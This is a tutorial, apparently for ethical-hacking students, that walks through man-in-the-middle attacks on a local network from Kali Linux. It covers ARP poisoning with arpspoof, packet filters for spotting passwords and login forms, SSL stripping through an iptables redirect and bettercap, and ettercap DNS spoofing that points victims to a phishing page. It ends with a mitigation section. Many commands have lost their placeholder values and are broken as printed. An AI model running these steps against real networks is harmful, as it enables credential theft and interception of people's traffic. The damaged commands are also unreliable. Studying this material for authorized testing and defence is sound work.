This comprehensive guide details the concepts, tools, and procedures for executing Man-in-the-Middle (MITM) attacks using Kali Linux. Designed for Certified Ethical Hacker (CEH) students and cybersecurity professionals, it emphasizes understanding the underlying mechanisms and responsible usage for penetration testing and vulnerability assessment.
Core Concepts Explained
Understanding the Foundations
A MITM attack positions the attacker between two communicating parties, allowing interception, eavesdropping, and modification of traffic without their knowledge. Key protocols and techniques exploited include:
- ARP (Address Resolution Protocol): Used on local networks to map IP addresses (Layer 3) to MAC addresses (Layer 2). Vulnerable to spoofing where an attacker sends forged ARP replies.
- DNS (Domain Name System): Resolves human-readable domain names (e.g., `www.google.com`) to IP addresses. DNS spoofing involves providing false IP addresses for legitimate domain names.
- SSL/TLS (Secure Sockets Layer/Transport Layer Security): Protocols designed to encrypt communication (HTTPS). SSL Stripping attempts to downgrade HTTPS connections to unencrypted HTTP.
- IP Forwarding: A system function that allows a machine to act like a router, forwarding packets received on one interface to another. Essential for the MITM attacker to maintain connectivity for the victim.
The Attacker's Toolkit in Kali Linux
Essential Kali Tools for MITM
arpspoof(part of dsniff): A simple, classic tool specifically for sending forged ARP replies to poison ARP caches.ettercap: A comprehensive suite for MITM attacks. Supports various sniffing modes, ARP poisoning, DNS spoofing, plugin support (like SSL Stripping - though often needs older versions or specific setups), and more. Can run in text, curses, or graphical mode.bettercap: A powerful, modular, and more modern MITM framework. Often preferred over older tools like `sslstrip` due to better handling of modern defenses like HSTS. Highly extensible.sslstrip/sslstrip+: Tools designed to intercept HTTP traffic and attempt to downgrade HTTPS requests to HTTP. Often used in conjunction with ARP spoofing and `iptables`. (Note: Less effective against sites using HSTS).wireshark: The indispensable graphical packet analyzer. Used to capture, view, and analyze the intercepted network traffic in detail.iptables: The Linux kernel firewall utility. Used in MITM to redirect specific traffic (e.g., port 80 traffic) to the attacker's listening tool (like `sslstrip` or `bettercap`).
Step-by-Step MITM Execution Guide
Step 1: Preparation and Reconnaissance
Setting the Stage
- Identify Network Configuration: Determine your Kali machine's IP address, the target victim's IP address, and the network gateway (router) IP address.
ip addr show # Find your IP and interface name (e.g., eth0) sudo netdiscover -r 192.168.1.0/24 # Or use nmap to find hosts route -n # Find the default gateway IP - Verify Connectivity: Ensure you can reach both the target and the gateway.
pingping
Step 2: Enable IP Forwarding
Becoming the Router
This allows your Kali machine to pass traffic between the victim and the gateway. Without it, the victim loses internet connectivity once ARP spoofing starts.
# Enable IP Forwarding (temporary)
sudo sysctl net.ipv4.ip_forward=1
# Alternatively: sudo echo 1 > /proc/sys/net/ipv4/ip_forward
# Verify (should output '1')
cat /proc/sys/net/ipv4/ip_forwardNote: This setting resets on reboot. To make it permanent, edit /etc/sysctl.conf and uncomment the net.ipv4.ip_forward=1 line.
Step 3: Perform ARP Spoofing
Poisoning the Network Cache
This step is the heart of the Man-in-the-Middle attack. We will use the arpspoof tool to send specially crafted ARP packets onto the local network. The goal is to "poison" the ARP cache (the temporary IP-to-MAC address mapping table) of both the target victim machine and the network gateway (router).
Specifically, we need to achieve two things simultaneously:
- Convince the victim machine that the gateway's IP address now belongs to our (the attacker's) MAC address.
- Convince the gateway that the victim machine's IP address now belongs to our (the attacker's) MAC address.
Once successful, both the victim and the gateway will mistakenly send traffic destined for each other to our attacking machine instead, allowing us to intercept it.
(Traffic redirected)
Executing the ARP Poisoning:
To achieve this constant poisoning, you must run two separate arpspoof commands in two different terminal windows on your Kali machine. These commands need to keep running for the entire duration of the MITM attack.
Terminal 1: Poison the Victim's ARP Cache
This command targets the victim machine (`-t
# --- Command Template ---
# Replace with your network card name (e.g., eth0, wlan0).
# Replace with the victim's IP address.
# Replace with the router's IP address.
sudo arpspoof -i -t
# --- Example ---
# sudo arpspoof -i eth0 -t 192.168.1.105 192.168.1.1 Terminal 2: Poison the Gateway's ARP Cache
This command targets the gateway (`-t
# --- Command Template ---
# Use the same , , and as above.
sudo arpspoof -i -t
# --- Example ---
# sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.105 Important Prerequisite Checks:
- IP Forwarding MUST be enabled on your Kali machine (as per Step 2) before you start `arpspoof`. If not enabled, the victim will lose all network connectivity because their traffic will arrive at your machine but won't be forwarded to the actual gateway.
- Verify your Network Interface Name: Use commands like
ip addr showorifconfigto confirm the correct name of the network interface you are using (e.g.,eth0,enp0s3,wlan0) and substitute it for. - Correct IP Addresses: Double-check that you have the correct IP addresses for your target victim and the network gateway.
Verification (Optional but Recommended):
After starting both arpspoof commands, you can check the ARP cache on the victim machine (if you have access) to confirm the poisoning was successful. You are looking to see if the MAC address listed for the gateway's IP has changed to match your Kali machine's MAC address.
On the Victim Machine:
# On a Windows victim:
# Look for the entry corresponding to the .
# The 'Physical Address' should now be the MAC of your Kali machine.
arp -a
# On a Linux or macOS victim:
# Look for the entry corresponding to the .
# The 'HWaddress' or 'ether' field should now be the MAC of your Kali machine.
arp -n To find your Kali machine's MAC address for comparison, run ip addr show (replacing with your actual interface name) on your Kali terminal.
Step 4: Traffic Interception and Analysis
Capturing the Flow
Now that traffic is flowing through your Kali machine, use Wireshark or `tcpdump` to capture it.
Using Wireshark (Graphical):
- Launch Wireshark:
sudo wireshark - Select the correct interface (e.g.,
eth0) and start capturing. - Apply display filters to find interesting traffic:
- HTTP POST requests (often contain login forms):
http.request.method == "POST" - HTTP traffic containing keywords:
http contains "password"orhttp contains "username" - DNS queries:
dns - Specific protocols:
ftp,telnet,pop,imap - Traffic from/to victim:
ip.addr ==
- HTTP POST requests (often contain login forms):
- Right-click packets and "Follow > TCP Stream" (or HTTP Stream) to reassemble conversations and potentially see cleartext data.
Using tcpdump (Command-line):
# Capture HTTP traffic involving the victim, show ASCII payload
sudo tcpdump -i eth0 -A 'port 80 and host '
# Save captured traffic involving victim to a file for later analysis in Wireshark
sudo tcpdump -i eth0 -w victim_traffic.pcap 'host ' Step 5 (Optional): SSL Stripping
Attempting to Downgrade HTTPS
This forces the victim's browser to connect via HTTP even if they type HTTPS or click an HTTPS link (effectiveness is limited by HSTS).
- Set up `iptables` rule: Redirect HTTP traffic (port 80) to the port `sslstrip` (or `bettercap`) will listen on (e.g., 8080).
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 - Run `sslstrip` (Older method):
# Listen on port 8080 sudo sslstrip -l 8080 - Or Use `bettercap` (Modern method): Bettercap often handles this more effectively and integrates ARP spoofing and DNS spoofing.
# Example bettercap session (interactive) sudo bettercap -iface eth0 > set arp.spoof.targets> set arp.spoof.gateway > arp.spoof on > set http.proxy.sslstrip true > http.proxy on > # Optionally: set dns.spoof.domains *.example.com > # Optionally: dns.spoof on > # Observe logs for captured credentials/data - Ensure ARP spoofing (Step 3) is still running. The victim's HTTP traffic should now be visible in cleartext, even if they visited HTTPS sites (if stripping was successful).
HSTS Limitation
Websites using HTTP Strict Transport Security (HSTS) instruct browsers to *only* connect via HTTPS. SSL Stripping typically fails against HSTS-enabled sites as the browser refuses the downgrade. `bettercap` has some techniques to try and bypass preloaded HSTS lists, but it's a significant defense.
Step 6 (Optional): DNS Spoofing
Redirecting Web Requests
Forge DNS responses to redirect the victim to a malicious site (e.g., a fake login page) when they try to visit a legitimate one.
Using Ettercap:
- Edit `etter.dns` file: Add entries mapping target domains to your malicious IP.
Add lines like:
sudo nano /etc/ettercap/etter.dns# Target Domain Record Type Redirect IP Address *.example-bank.com Awww.victim-site.org A * A # Redirect everything (use cautiously) - Run Ettercap with DNS Spoofing plugin: (Ensure ARP spoofing via `arpspoof` is stopped if using Ettercap's ARP spoofing).
# -T for text mode, -q quiet, -M arp for MITM, -P dns_spoof plugin sudo ettercap -Tq -i eth0 -M arp:remote /// / // -P dns_spoof - When the victim tries to access `example-bank.com`, Ettercap intercepts the DNS query and replies with your Kali IP, potentially directing them to a phishing page you host locally.
Using `bettercap`:
# In bettercap interactive session
> set dns.spoof.address
> set dns.spoof.domains *.example-bank.com, www.victim-site.org
> dns.spoof on Step 7: Cleanup
Restoring Normal Traffic Flow
Crucially, stop the attack cleanly to restore normal network connectivity for the victim.
- Stop the ARP spoofing tools (Ctrl+C in the `arpspoof` terminals, or disable modules in `bettercap`/`ettercap`). This sends correcting ARP packets.
- Disable IP forwarding:
sudo sysctl net.ipv4.ip_forward=0 # Or: sudo echo 0 > /proc/sys/net/ipv4/ip_forward - If you used `iptables` for SSL Stripping, remove the rule:
# List rules with numbers sudo iptables -t nat -L PREROUTING --line-numbers # Delete the specific rule number (e.g., rule 1) sudo iptables -t nat -D PREROUTING - Close Wireshark, `sslstrip`, etc.
Mitigating MITM Attacks
Defensive Strategies
Protecting against MITM requires a layered approach:
- Use Encrypted Protocols Everywhere: Enforce HTTPS (with HSTS), SSH, VPNs (Virtual Private Networks) for remote access and general browsing, and encrypted DNS (DoH/DoT).
- Certificate Pinning: Applications can be coded to only trust specific SSL/TLS certificates, preventing acceptance of forged certificates presented during some MITM attacks.
- ARP Spoofing Detection/Prevention:
- Dynamic ARP Inspection (DAI): A switch feature (requires DHCP snooping) that validates ARP packets based on trusted bindings.
- Static ARP Entries: Manually configure ARP entries for critical servers/gateways on hosts (less scalable).
- ARP Monitoring Tools: Tools like `arpwatch` or IDS/IPS systems (Snort, Suricata) can detect suspicious ARP activity.
- Network Segmentation: Use VLANs to limit the broadcast domain and restrict the potential scope of local network attacks like ARP spoofing.
- User Education: Train users to spot browser warnings about invalid certificates and be cautious on public Wi-Fi.
- Switch Port Security: Limit the number of MAC addresses allowed per switch port to hinder certain attack preparations.
Modern Challenges
While classic MITM techniques persist, defenses are evolving:
- HSTS & Preloading: Makes SSL Stripping much harder for major websites.
- Encrypted DNS (DoH/DoT): Makes DNS interception and spoofing more difficult if implemented client-side or network-wide.
- Increased VPN Usage: Encapsulates traffic, protecting it from local network sniffing.
- Mobile App Security: Many mobile apps utilize certificate pinning, resisting traditional MITM.
Conclusion
Man-in-the-Middle remains a potent attack vector, exploiting fundamental trust mechanisms in common network protocols. Understanding how tools like `arpspoof`, `ettercap`, and `bettercap` work is crucial for ethical hackers to identify these vulnerabilities within authorized tests. Equally important is understanding and implementing robust mitigation strategies like encryption, network monitoring, and proper switch configuration to defend against these threats.
Always remember the ethical obligations and legal boundaries associated with these techniques. Use this knowledge to build more secure networks.